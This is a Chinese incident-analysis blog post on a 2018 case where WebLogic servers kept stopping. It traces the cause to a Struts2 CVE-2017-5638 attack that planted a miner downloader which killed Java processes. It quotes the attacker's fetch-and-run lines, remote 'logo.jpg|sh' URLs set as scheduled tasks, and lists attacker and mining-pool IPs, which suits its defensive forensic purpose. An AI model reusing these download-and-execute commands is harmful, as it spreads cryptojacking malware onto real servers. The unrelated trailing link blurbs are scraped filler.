日志分析之某网站weblogic服务停止事件分析

访客4年前黑客文章1001

背景

1. ?某网站出现weblogic多次服务停止事件,时间分别为:(2018年1月2日:9点、14点、15点。1月3日:9点、14点,具体时间无)。

2. 网站方提供恶意代码附件”恶意代码.txt”,该恶意代码执行后导致weblogic停止。

3. ?已知的IP信息如下:

受害服务器IP(2台):10.*.*.47、10.*.*.48

负载均衡:10.*.*.43

4. ?现提供weblogic 中间件日志和各安全设备日志。

分析过程

当发生安全应急事件的时候,我们应该从何处着手,如何找线索并展开分析的思路是最重要的。应急响应检测阶段的技术过程可参考我之前发过的一篇观点文章《应急响应检测阶段技术流程》。里面提出了一个"点线面"模型观点,本次为复盘日志分析,着重日志分析而非应急响应,而且由于是久远的一次事件,当时的应急响应人员可能数据没要齐全,因此完全参考“点线面”模型肯定不现实,但是可以参考该模型进行模拟复盘。

一、确定事件输入点

根据“点线面”模型里的流程,在确定事件输入点时我们需要清楚三点:1.异常是什么,2.产生异常涉及的系统是哪些(ip,业务,开放的服务,系统类型),3.这些受害主机产生异常的原因是什么。根据背景可知异常为weblogic多次停止运行,涉及受害系统IP(2台):10.*.*.47、10.*.*.48。产生该异常的原因我们可通过审计甲方提供的恶意代码,发现导致weblogic服务停止的原因在于,恶意代码中读取过滤java相关进程后使用kill -9命令进行进程杀灭,java进程被杀后进而导致的weblogic服务停止。此时可确定为受到攻击导致的异常。

在审计该恶意代码时,发现其杀灭java进程后到165.227.215.25下载名为xmrig-y的文件。

由于是复盘分析,攻击者服务器早已关停,无法下载xmrig-y文件。但是可以到威胁情报平台((奇安信,微步在线,virustotal等))查询恶意ip:165.227.215.25,发现其标签为挖矿。并找到关联样本

虽然说威胁情报平台已经将样本进行了标签,但是实际过程中可能威胁情报平台当时并未及时收录到此攻击的相关情报。因此拿到样本可将其上传到沙箱运行,沙箱分析结果显示为挖矿脚本,并发现其内部外联通讯地址IP:145.239.0.84。

同时可通过手工分析,使用strings工具查询恶意代码内部字符串,发现可疑协议stratum+tcp://

确定为挖矿通信协议。至此,可知本次攻击的目的为挖矿。二、线索推断

由提供的恶意代码(下载器)分析可知其针对java相关进程,通过逆向思维反推,针对java那么只有是知道其存在Java了才会进行针对,也即是说通过java相关应用进来的才会知道是存在java的,本次事件中则可将weblogic服务作为更大嫌疑入口点,另外挖矿攻击一般使用某种漏洞或通用弱点进行批量攻击。因此,可认为是通过weblogic相关漏洞进行的入侵并展开日志分析验证。

三、日志分析策略

已有安全设备日志,weblogic运行日志,web access日志。在未知攻击ip,已知受害IP和可疑攻击方式下的分析策略如下:

1.首先分析安全设备日志,因为安全设备的告警就已经是为我们过滤掉了很大部分的正常访问日志。

从威胁感知设备日志中筛选出受害IP:10.*.*.47、10.*.*.48及负载均衡IP:10.*.*.43的全部日志条目

发现10.*.*.47、10.*.*.48均无记录,只有负载均衡IP:10.*.*.43存在记录。由于已知的最早一次服务停止事件发生在2018年1月2日,发现从2017/12/8 6:00:34起持续存在CVE-2017-5638漏洞告警,该漏洞属于Apache Struts 2远程命令执行漏洞,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。从时间上看攻击时间线过长,且payload单一,这时并不能将此告警排除,因为安全设备记录的payload仅是截取了匹配到规则库的一部分,并非完整的攻击载荷,攻击者可能不断完善payload进行攻击或是不同攻击者进行的攻击。并且Struts2远程命令执行漏洞跟java相关且1月2日也存在告警,因此,暂时可将该漏洞攻击作为本次事件的可疑攻击方式(在payload中发现有执行cmd.exe进行系统判断)。

编写脚本从IPS日志中筛选出受害IP:10.*.*.47、10.*.*.48及负载均衡IP:10.*.*.43的全部日志条目,发现仅有攻击IP:72.11.140.178对受害IP:10.*.*.43的TCP_Oracle_WebLogic_Server反序列化漏洞告警,且只检测不阻断。最早告警时间为2017-12-29 09:21:17

至此可将CVE-2017-5638命令执行漏洞反序列化漏洞列为可疑入侵方式。并对weblogic运行时日志进行分析(access日志为简单日志,没有分析的价值)。

2.分析weblogic运行日志。

从前面的分析,可将“cmd.exe”和“serialize”作为两个可疑漏洞的关键词对日志进行匹配分析

通过搜索关键字“cmd.exe”,发现一条命令执行失败的告警,即命令已执行,但由于操作系统或策略限制等原因执行失败。

搜索该条记录的上一邻近记录条目,发现远程下载命令并设置定时任务。下载地址:http://5.188.87.12/icons/logo.jpg|sh

http://181.214.87.240/icons/logo.jpg|sh

由该记录前半部分显示可知为文件上传且payload是在content type头中,符合CVE-2017-5638命令执行漏洞的攻击方式。而且告警为warn级别而非error级别,说明此请求是执行的

为进一步严谨性,编写脚本匹配关键字“cmd.exe”和“serialize”并输出。发现当出现携带下载地址的payload时,告警中才会出现命令执行但未成功的告警记录。而payload中的ip经过威胁情报查询,均为矿池IP。

总结

至此可得出本次攻击是攻击者:72.11.140.178 通过CVE-2017-5638命令执行漏洞进行攻击,植入恶意脚本下载器,定时启动脚本下载器执行启动下载恶意挖矿脚本,杀灭java进程导致weblogic服务时而停止。

从weblogic应用日志中未发现反序列化漏洞或存在反序列化异常告警痕迹,所以IPS日志中所报TCP_Oracle_WebLogic_Server反序列化漏洞其实为CVE-2017-5638命令执行漏洞告警,仅因为命令执行payload中存在类似#ognlUtil.getExcludedPackageNames()之类的字符导致触发匹配反序列化规则。而威胁感知设备似乎并未能检测出并记录到该攻击成功的payload。


相关文章

什么工作比较自由又赚钱,五个适合所有人的项

什么工作比较自由又赚钱,五个适合所有人的项

网友一: 首先,要清楚你工作目的是什么。 对于大学生来说,你的首要任务还是多学习,如果你不读研的话,这是你人生最后一段可以自由学习,拓展自己能力和兴趣的时光。应该用这些时间去多学习。 如果你工作...

孕妇可以吃苦瓜吗(准妈妈是否能吃苦瓜?)

  孕妇可以吃苦瓜吗(准妈妈是否能吃苦瓜?)苦瓜对于改善准妈妈的消化吸收、增进食欲等方面都很有好处。 但是,苦瓜性凉,脾胃虚寒的准妈妈不宜过多食用。   《健康时报》曾报道有人认为苦瓜中含有奎宁,可能...

世卫非洲办事处:中国党代会和人代会捐赠新冠疫苗体现团结抗

  当地时间4日,世卫组织非洲区域办事处在刚果(布)首都布拉柴维尔召开在线记者会,介绍了“新冠肺炎疫苗实施计划”在非洲第一阶段的接种安排。   世卫组织非洲区域免疫和疫苗开发项目负责人理查德·米希果...

黑客门流出正在播放(黑客mj)

黑客门流出正在播放(黑客mj)

如何入侵地铁所有的电视播放系统呢? 针对智能电视的黑客攻击方法大致可以分为四种: WiFi网络攻击 智能电视要在足够带宽的 WiFi 环境工作,WiFi 是智能电视第一道安全关卡。如果 WiFi 被破...

知道别人微信号可以查聊天记录吗

孕妇们在怀小宝宝之后肚子一天天大了起来睡觉开始越来越不方便了,特别是在怀宝宝的后期肚子越来越大,妈妈们就算侧着睡觉也需要一个好的支撑,很多妈妈会选择买孕妇枕,那么孕妇枕头有用吗,孕妇枕头怎么用,孕妇枕...

球龙套多少钱,汽车外球龙套价格

  球笼套一边最多也就30块,但要换的话加修理费用度在广东我预计少都要上百块   没须要,4S店一般不做只改换球笼防尘套的。他们拆下防尘套会汇报你,球笼也有。 改换球笼吧,他们会接着汇报你球笼没有单的...